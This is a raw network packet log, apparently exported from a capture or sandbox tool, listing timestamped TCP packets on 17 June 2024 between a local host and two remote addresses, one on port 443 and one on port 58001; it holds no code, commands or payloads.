Jun 17, 2024 16:19:05.522988081 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523013115 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523030996 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523051023 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523066044 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523089886 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523109913 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523123026 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523130894 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523154974 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523185968 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523293018 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523305893 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523339033 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523344994 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523367882 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523535967 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523865938 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523885012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523927927 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.523932934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.523958921 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524022102 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524040937 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524068117 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524072886 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524099112 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524146080 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524158001 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524184942 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524189949 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524199963 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524209976 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524223089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524240017 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524245024 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524270058 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524334908 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524427891 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524843931 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524867058 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524903059 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524908066 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524919987 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524935007 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524939060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524960995 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.524966002 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.524976969 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.525166988 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525187969 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525217056 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.525222063 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525234938 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.525717974 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525743008 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525769949 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.525774956 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525804043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.525830984 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525845051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525883913 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.525890112 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.525912046 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.525983095 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526001930 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526026011 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526030064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526051044 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526065111 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526066065 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526089907 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526093960 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526109934 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526329041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526348114 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526372910 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526379108 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526398897 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526525021 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526537895 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526571035 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526575089 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526593924 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526637077 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526653051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526681900 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526685953 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526704073 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526823044 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526838064 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526861906 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.526866913 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.526886940 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.527822971 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.527853012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.527859926 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.527864933 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.527896881 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.527909994 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.527924061 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.527950048 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.527955055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.527968884 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528100967 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528120041 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528147936 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528152943 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528168917 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528376102 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528392076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528422117 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528426886 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528450966 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528547049 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528565884 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528601885 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528606892 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528616905 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528621912 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528631926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528654099 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528659105 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528688908 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528795958 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528814077 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528840065 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.528845072 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.528868914 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529499054 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529530048 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529570103 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529577971 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529587984 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529594898 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529602051 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529625893 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529632092 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529644012 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529652119 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529664040 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529685020 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529690027 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529714108 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529844046 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529859066 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529889107 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.529895067 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.529906034 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530113935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530132055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530169010 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530174017 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530184031 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530252934 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530265093 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530303001 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530308962 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530329943 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530422926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530441046 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530472040 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530477047 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530491114 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530492067 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530509949 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530541897 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.530548096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.530579090 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.531120062 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.531141996 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.531172037 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.531177044 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.531204939 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.537574053 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537596941 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537647009 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.537672043 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537688017 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.537812948 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537832975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537862062 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.537873983 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537894964 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.537936926 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537951946 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.537982941 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.537988901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538013935 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538222075 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538240910 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538273096 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538278103 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538289070 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538542032 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538556099 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538604975 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538610935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538635015 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538690090 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538707018 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538736105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538741112 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538781881 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538851023 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538870096 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538901091 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.538906097 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.538929939 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539072990 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539091110 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539122105 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539127111 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539154053 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539398909 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539412022 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539474964 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539480925 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539490938 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539508104 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539535046 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539540052 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539570093 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539624929 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539638996 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539678097 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539683104 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539693117 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539791107 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539809942 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539849043 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.539854050 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.539864063 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540149927 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540165901 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540220022 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540225983 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540353060 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540375948 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540411949 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540420055 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540436029 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540436029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540456057 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540477991 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540489912 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540503025 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540529013 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540548086 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540581942 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540586948 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540597916 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540807009 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540822029 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540859938 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.540865898 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.540878057 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.541340113 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541363001 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541388988 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.541393995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541421890 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.541712046 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541727066 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541779995 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541781902 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.541793108 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541810989 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541821957 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.541836023 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.541840076 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.541856050 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.541877031 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542084932 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542098999 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542144060 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542149067 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542156935 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542162895 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542186975 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542186975 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542198896 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542213917 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542252064 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542478085 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542495966 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542535067 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542540073 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542570114 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542583942 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542692900 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542709112 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542752028 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542757988 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542781115 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542803049 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542840004 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542855024 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542891979 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542896986 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.542923927 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.542942047 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.543066025 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.543082952 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.543114901 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.543119907 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.543133974 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.543135881 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.543150902 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.543157101 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.543183088 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.543212891 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.543215990 CEST	443	65277	188.114.96.3	192.168.2.4
Jun 17, 2024 16:19:05.543335915 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:05.546026945 CEST	65277	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:19:06.060633898 CEST	58001	65279	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:06.064498901 CEST	65279	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:06.064663887 CEST	65279	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:06.075054884 CEST	58001	65279	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:06.177251101 CEST	65280	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:06.183752060 CEST	58001	65280	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:06.183830023 CEST	65280	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:06.184451103 CEST	65280	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:06.189544916 CEST	58001	65280	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:06.189656019 CEST	65280	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:06.194860935 CEST	58001	65280	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:07.174704075 CEST	58001	65280	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:07.174789906 CEST	65280	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:07.174976110 CEST	65280	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:07.182523966 CEST	58001	65280	77.221.140.76	192.168.2.4
Jun 17, 2024 16:19:07.287034988 CEST	65281	58001	192.168.2.4	77.221.140.76
Jun 17, 2024 16:19:07.291795015 CEST	58001	65281	77.221.140.76	192.168.2.4
